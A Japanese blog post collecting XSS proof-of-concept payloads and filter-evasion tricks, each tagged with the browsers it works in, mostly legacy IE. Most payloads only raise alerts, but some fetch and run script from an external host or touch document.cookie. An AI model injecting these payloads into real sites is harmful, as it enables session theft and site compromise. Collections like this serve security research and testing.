その昔、なんとかキャンプというセキュリティのイベントに参加した時「アウトプットが大事」と言われたのを思い出しました。
でも、普通自分の見つけた知識は後生大事に抱えておきたいもんだと思います。
そこで今回はそういった何かしょーもないものを捨てるべく、溜め込んだ色んなXSSのPoCを少し書き出してまとめました。
今まで自分で見つけたものや海外のSecurity Researcher達から収集したものもあります。
さて、今回リストアップしたPoCの見方ですがいくつかの項目があります。
一番上の「手法」はタイトルみたいなものだと思って下さい。
二番目の「PoC」はスクリプトを実行する為のコードです。殆どがアラートが出るだけのスクリプトの為危険なコードは無いつもりですがご自分のブラウザで実行する際は自己責任でお願いします。リンクをクリックすると実行するタイプのものもあります。
三番目の「対応ブラウザ」はどんなブラウザで動作したかが書いてあります。実際「俺の環境では動いたんだけど!」とか「動かなかったんだけど!」ということがあるかもしれません。その場合は申し訳ありません見落としです。
最後の「解説」は一言コメントみたいなレベルに収まっています。この解説に関しては正しさを保証出来ません。
またカテゴリーの様な物を作ってPoCを分類しました。
次に、今回使用した環境とブラウザをリストアップします。
環境とブラウザ
OS:Windows XP
IE 6.0.2900.5512
IE 7.0.5730.11
IE 8.0.6001.18702
OS:Windows 7
IE 9.0.8112.16421
IE 10.0.9200.17183
IE 11.0.9600.17501
Firefox 34.05
GoogleChrome 41.0.2243.0 m (64-bit)
大分前に検証した為FirefoxやChromeのバージョンが少し古いかもしれませんが最新版でも動くかと思います。
またIEに関しては検証する際XSSフィルターを解除している為、実際はその殆どをXSSフィルターがシャットアウトしてくれると思います(多分)。
・基本
まずは基本です。よく知られた手法だと思います。
手法:onerrorイベントハンドラを使ったスクリプトの実行
PoC:
<img src=1 onerror=alert(1)>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
基本中の基本です。scriptタグが使用出来ない時に使うことが出来ます。これ以上の解説はありません。
手法:svgタグを使ったスクリプトの実行
PoC:
<svg onload=alert(1)>対応ブラウザ:IE10 IE11 FF GC
解説
imgタグが使えない場合に使えます。何気に21字と必要文字数が少ないことも特徴です。
手法:JSON XSS
対応ブラウザ:IE6 IE7 IE8 IE9
解説
Content-Typeがapplication/jsonであるにも関わらずURLの末尾に「/.html」を付け、JSON内でタグ文字を使用できる際XSSが引き起こされるというものです。
以下のリンクの「発生するかもしれない脆弱性その2: XSS」が参考になります。
JSONのエスケープをどこまでやるか問題
http://d.hatena.ne.jp/hasegawayosuke/20110706/p1
手法:onhashchangeを使ったスクリプトの実行
PoC:
<body/onhashchange=alert(1)><a href=#>click</a>対応ブラウザ:IE10 IE11 FF GC
解説
onhashchangeはハッシュが変わった時発火するイベントハンドラです。
手法:javascriptスキームとハッシュを使った手法
PoC:
http://vuln.moe/web/xss/onerror.php?q=a=location;a.href=’javascript:/*’+a.hash//#*/alert(1)
対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
javascriptスキームとハッシュを利用します。
手法:例外を利用したスクリプトの実行
PoC:
<img src=1 onerror="alert;window.onerror=alert;throw 1">対応ブラウザ:IE10 IE11 FF GC
解説
throwを使い括弧を使うこと無く実行します。
手法:特定のタグが使えない際のスクリプトの実行
PoC:
<anything onmouseover=javascript:confirm(1)>zzz</anything>対応ブラウザ:IE10 IE11 FF GC
解説
特定のタグが使えない際適当なタグ名を使うことが出来ます。
手法:イベントハンドラと実行関数の間にスペース
PoC:
<style/onload = !-alert(1)>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
イベントハンドラと実行関数との間にスペースが存在してもスクリプトが動作します。
手法:vbscriptを利用したスクリプトの実行 その1
PoC:
<img language=vbs src=<b onerror=alert#1/1#>対応ブラウザ:IE6 IE7 IE8 IE9 IE10
解説
IE6~IE10までで動作します。
手法:vbscriptを利用したスクリプトの実行 その2
PoC:
<body language=vbs onload=alert-1対応ブラウザ:IE6 IE7 IE8 IE9 IE10
解説
vbscriptを使い括弧を使わずにスクリプトを実行することが出来ます。
手法:vbscriptを利用しスクリプトの実行 その3
PoC:
<script language=vbs>msgbox+1</script/comeone>対応ブラウザ:IE6 IE7 IE8 IE9 IE10
解説
vbscriptを使い括弧を使わずにスクリプトを実行することが出来ます。
手法:
PoC:cc_onステートメントを利用したスクリプトの実行
<script>//@cc_on alert@cc_on/* */(1)</script>対応ブラウザ:IE6 IE7 IE8 IE9 IE10
解説
cc_onステートメントを利用し、コードを実行します。
https://msdn.microsoft.com/ja-jp/library/eb0w91wa%28v=vs.90%29.aspx
手法:setステートメントを利用したスクリプトの実行
PoC:
<body/onload="@set @evil=1; @if(@evil)eval(alert(@evil))@end;">対応ブラウザ:IE6 IE7 IE8 IE9 IE10
解説
setステートメントを利用し、コードを実行します。
https://msdn.microsoft.com/ja-jp/library/k0h7dyd7%28v=vs.90%29.aspx
手法:記号を含むスクリプトタグ
PoC:
<script>+-+-1-+-+alert(1)</script>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
関数以外の文字が存在しても実行されます。+-の数や-+の数を増やしたり減らしたりしても動作します。
・CSSXSS
IEでよくあるCSSXSSってやつです。大体IE6からIE9までで動作します。
手法:基本的なCSSXSS
PoC:
<div style="left:expression( alert('xss'))"> <div style="left:exp/* */ression( alert('xss'))"> <div style="left:expression( alert('xss'))"> <div style="left:\0065\0078pression( alert('xss'))"> <div/style="width:expression(confirm(1))">X</div> <li style="color:rgb(''0,0,&#0;javascript:expression(confirm(1))">XSS</li> <iframe src="#" style=width:exp/**/ressi/**/on(confirm(1))> <input/type=hidden style=`x:expression(alert(/XSS/))`> <div style="color:rgb(''&#amp;0;x:expression(alert(1))"></div>対応ブラウザ:IE6 IE7 IE8 IE9
解説
基本中の基本です。IE9までカバーします。途中コメントを入れることも出来ます。
詳しくは以下のリンク参照です。
教科書に載らないWebアプリケーションセキュリティ(3):[柔軟すぎる]IEのCSS解釈で起こるXSS (2/3) – @IT http://www.atmarkit.co.jp/ait/articles/0906/04/news111.html
手法:background-imageを使ったCSSXSS
PoC:
<div STYLE="background-image: url(javascript:alert('XSS'))">対応ブラウザ:IE6
解説
IE6のみです。いい加減IE6は滅ぶべきなのかと思います。
手法:HTMLエンティティとコメントを利用したCSSXSS
PoC:
<div style='width:exp/**/ressi/**/on(confirm(location))'>div</div>対応ブラウザ:IE6 IE7 IE8 IE9
解説
HTMLエンティティとコメントを利用してフィルタを回避します。
手法:importを使用したCSSXSS
PoC:
<style>@import "data:,*%7bx:expression(alert(46))%7D";</style>対応ブラウザ:IE9
解説
styleタグ内でimportとdataスキームを使用したXSSです。
・ブラウザの解釈を誤魔化す
手法:ブラウザの解釈を誤魔化す その1
PoC:
<a href=[]" onmouseover=prompt(1)//">XYZ対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
[]以外に*や[、適当な文字でも動作します。
手法:ブラウザの解釈を誤魔化す その2
PoC:
<input type="text" value=``<div/onmouseover='alert(1)'>X</div>;対応ブラウザ:IE6 IE7 IE8 IE9
解説
バッククォートを使います。
手法:CSSの解釈を誤魔化す
PoC:
<div id="b" style="font-family:a/**/ression(alert(1))('\')exp\')">aa</div>対応ブラウザ:IE6 IE7 IE8 IE9
解説
expressionという文字との単純な比較を回避します。
手法:大量のaタグ
PoC:
<a aa aaa aaaa aaaaa aaaa aaa aa a href= javascript:alert(1)>X</a>対応ブラウザ:IE10 IE11 FF GC
解説
悩んだ末ここに入れました。クリックをすることでアラートが実行されます。
・短くする系
短いのを狙う系です。XSS Challenge等で使えるテクニックだと思います。もしかしたらもっと短く出来るかもしれません。
手法:oncut、oncopyの使用
PoC:
<q/oncut=alert() <q/oncopy=alert()対応ブラウザ:GC
解説
GoogleChrome限定の手法ですがそれぞれ16字、17字となっています。
oncutは””を選択して「ctrl+x」を、oncopyは””を選択して「ctrl+c」を押す事で発火します。
手法:top.nameの使用
PoC:
<script>window.open("http://vuln.moe/web/xss/onerror.php?q=eval(top.name)", "alert(1)")</script>対応ブラウザ:IE11 FF GC
解説:
top.name内の値を使用してアラートを出力しています。
open関数の第二引数は新しいWindowの名前としてアクセス先、つまり「http://vuln.moe/web/xss/onerror.php」ページのnameプロパティに入ります。
アクセス先ではeval(top.name)のみ使えばいいので必要文字数は14字となります。
手法:URLプロパティを使用したXSSその1
PoC:eval(URL.substr(xx))#alert(1)
http://vuln.moe/web/xss/onerror.php?q=eval(URL.slice(58))#alert(1)
対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説:
location.hashではなくURLプロパティを参照することで文字数の削減を行っています。
手法:URLプロパティを使用したXSSその2
PoC:
eval(unescape(URL))#%0Aalert(1)http://vuln.moe/web/xss/onerror.php?q=eval(unescape(URL))#%0Aalert(1)
対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
上の手法と同じくURLプロパティを参照した手法です。unescapeと改行文字を含んだハッシュを使用することでsliceでどこから切り出すかを指定することなくスクリプトを実行することが出来ます。この2つの手法は下の特定の関数が使用できない状況で役に立つ事があります。
・特定の関数が使用できない
XSS Challengeに多いかと思いますが特定の関数、例えばalertやconfirmといった関数を使用することが出来ないといった事が起こるかと思います。
手法:36進数を利用したスクリプトの実行
PoC:
<script> this[1558153217..toString(36)](1); //prompt(1); </script>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
36進数をtoStringで文字にすることでスクリプトの実行を行っています。
この数字は以下のコードで求めることが出来ます。
<script> parseInt("prompt",36); </script>
手法:エスケープを利用したスクリプトの実行
PoC:
<script> x='\x61\x6c\x65\x72\x74\x28\x31\x29'; new Function(x)(); </script>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
alertという関数名が使えない時にアラートを出すことが出来ます。
手法:Unicodeエスケープを利用したスクリプトの実行
PoC:
<script> \u0078=\u0061\u006c\u0065\u0072\u0074; \u0078("\u0068\x61\150\u0061"); </script>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
Unicodeエスケープを使いスクリプトを実行します。
手法:jQueryを使った外部スクリプトの実行
PoC:
<img src=1 onerror=$.getScript('http://vuln.moe/web/xss/xss.js')>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
jQueryのgetScriptを使用して外部スクリプトを取得し実行しています。
jQueryを使ったサイトのみで使用できる手法です。
手法:linkタグを使ったスクリプトの実行
PoC:
<link rel=import href=http://vuln.moe/web/xss/chrome_link.php>対応ブラウザ:GC
解説
動作するブラウザはGoogleChromeのみとなります。以下にPHPコードを示します。
注目すべき点としてはレスポンスヘッダに「Access-Control-Allow-Origin: *」を付与していることです。
chrome_link.php
<?php header("Content-Type: text/html; charset=UTF-8"); header("Access-Control-Allow-Origin: *"); ?> <script>alert(1);</script>
手法:innerHTMLを使ったスクリプトの実行
PoC:
<div id="x">alert%28document.cookie%29%3B</div> <script>eval(unescape(x.innerHTML));</script>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
divタグに自由な値を入れられる際使用できます。パーセントエンコードされていない場合unescapeは必要ありません。
手法:outerHTMLとハッシュを使ったスクリプトの実行
PoC:
http://vuln.moe/web/xss/onerror.php?q=outerHTML=location.hash#<img/src=1 onerror=alert(1)>
対応ブラウザ:IE8 IE9 IE10 IE11 FF GC
解説
outerHTMLにハッシュの値を出力しています。
・Bypass
何かの制限を抜けたい場合の手法です。上のジャンルに入れられそうにないものが入っています。
手法:コメントアウトを利用したXSS
PoC:
<script src=data:,alert(1)<!-- <script type="text/javascript" src="....js"></script>対応ブラウザ:FF GC
解説
攻撃者が1行目に入力可能な場合実行されます。XSS Challengeなんかで使えそうで競技向きの手法かと思われます。
手法:keygenタグを使った手法
PoC:
<keygen name="confirm(1)" onfocus="eval(this.name);" autofocus>対応ブラウザ:FF GC
解説
keygenタグはHTML5から追加されたタグです。
手法:容易なscriptタグの禁止を回避する。
PoC:
<a href="data:),< s c r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a>対応ブラウザ:FF
解説
間にスペースを入れることで「script」という文字との単純なマッチを回避します。
手法:hrefの参照その1
PoC:
<map> <area id="zzz" href="javascript:alert(1)"> <area> </map> <script> location=zzz </script>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
areaタグ内のhrefを参照します。
手法:hrefの参照その2
PoC:
<a href="x:alert(1)" id="test">click</a> <script>eval(test+'')</script>対応ブラウザ:FF
解説
aタグ内のhrefを参照します。
手法:altを利用したスクリプトの実行
PoC:
<img src=x alt=confirm(1) onmouseover=eval(alt)>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
altに実行する関数を入れevalで実行します。
手法:srcに入れた関数を実行する
PoC:
<img/*%00/src="hahaha:alert(1)"/%00*/onerror='eval(src)'>対応ブラウザ:IE10 IE11 FF GC
解説
srcに実行する関数を入れevalで実行します。
余計な文字と実行したい関数との間には「:」もしくは「:」を入れることをお忘れないよう。
・ユニーク
ユニークなPoCです。
手法:「i」と「s」の代わりに別の文字を利用する。
PoC:
<script> document.write("<ımg ſrc=1 onerror=".toUpperCase()+"alert(1)>"); </script>対応ブラウザ:IE11 FF GC
解説
「ı」と「ſ」はそれぞれtoUpperCaseを使用すると「I」と「S」となります。
ちなみに「ß」をtoUpperCaseすると「SS」となりますが使う機会が分からない・・・。
手法:「/」の代わりに別の文字を使用する。
PoC:
<script src=http:/〱vuln.moe/web/xss/xss.js></script>対応ブラウザ:IE11
解説
/の代わりに別の文字を使用することが出来ます。
ちなみにこれ「く」に見えますが厳密には違います。
他にも以下の文字を使用することが出来ます。
〱,〳,〵,ゝ,ー,ヽ,ー
手法:クリップボードを利用したXSS
注意:このPoCを実行するとクリップボードの中身が書き換わります!実行する前に今のクリップボードの内容をどこか別の場所に保存しておくことをおススメします!
PoC:
<div>このPoCを実行するとクリップボードの中身が書き換わります!実行する前に今のクリップボードの内容をどこか別の場所に保存しておくことをおススメします!</div> <script> clipboardData.setData("text", "alert(document.domain)"); </script> <a href="http://vuln.moe/web/xss/onerror.php?q=eval(clipboardData.getData('text'))">click</a>対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11
解説
クリップボードに実行させたい関数を保存し、リンク先でevalを使い実行しています。
実行する際「クリップボードの中身を参照してもいいか?」と聞かれるので怪しさ満点ですが私はこの手法大変気に入っていますw
手法:U+1680を使用したスクリプトの実行
PoC:
<script> alert ( 1 ) </script>http://vuln.moe/web/xss/?q=<script>%E1%9A%80alert%E1%9A%80(%E1%9A%801%E1%9A%80)%E1%9A%80</script>
対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
解説
この文字はU+1680です。URLに入力する際は「%E1%9A%80」を使用します。この文字は無視されalert(1)が実行されます。
このPoCに関しては今後も様々な検証が必要だと思います。
あまりメジャーな手法ではありませんがご覧の通り全てのブラウザでの動作を確認しました。
このU+1680はハイフンの様に見えますがオガム文字というものらしいです。
この他にもU+180Eを使う手法もあります。
下の画像を見て下さい。アドレスバーにはU+180Eが使われている箇所が幾つか存在します。それはどこでしょうか。
正解は以下の通りです。全く見えませんね。
<script>[U+180E]alert[U+180E]([U+180E]1[U+180E])[U+180E]</script>
http://vuln.moe/web/xss/?q=<script>%E1%A0%8Ealert%E1%A0%8E%28%E1%A0%8E1%E1%A0%8E%29%E1%A0%8E</script>
余計な文字を挟んでいますがスクリプトは動作します。
ちなみにタグにU+180Eを入れるとHTMLソースは以下のようになりますがスクリプトは実行されません(画像はMacのFF)。
終わりに
今のところこれで以上になります。
ジャンル分けがかなり怪しい箇所があるので今後アップデートする可能性があります。
また増えていったらどこか他所の場所に移すことも考えています。
今回掲載したPoCはこれで全てではありませんので・・・。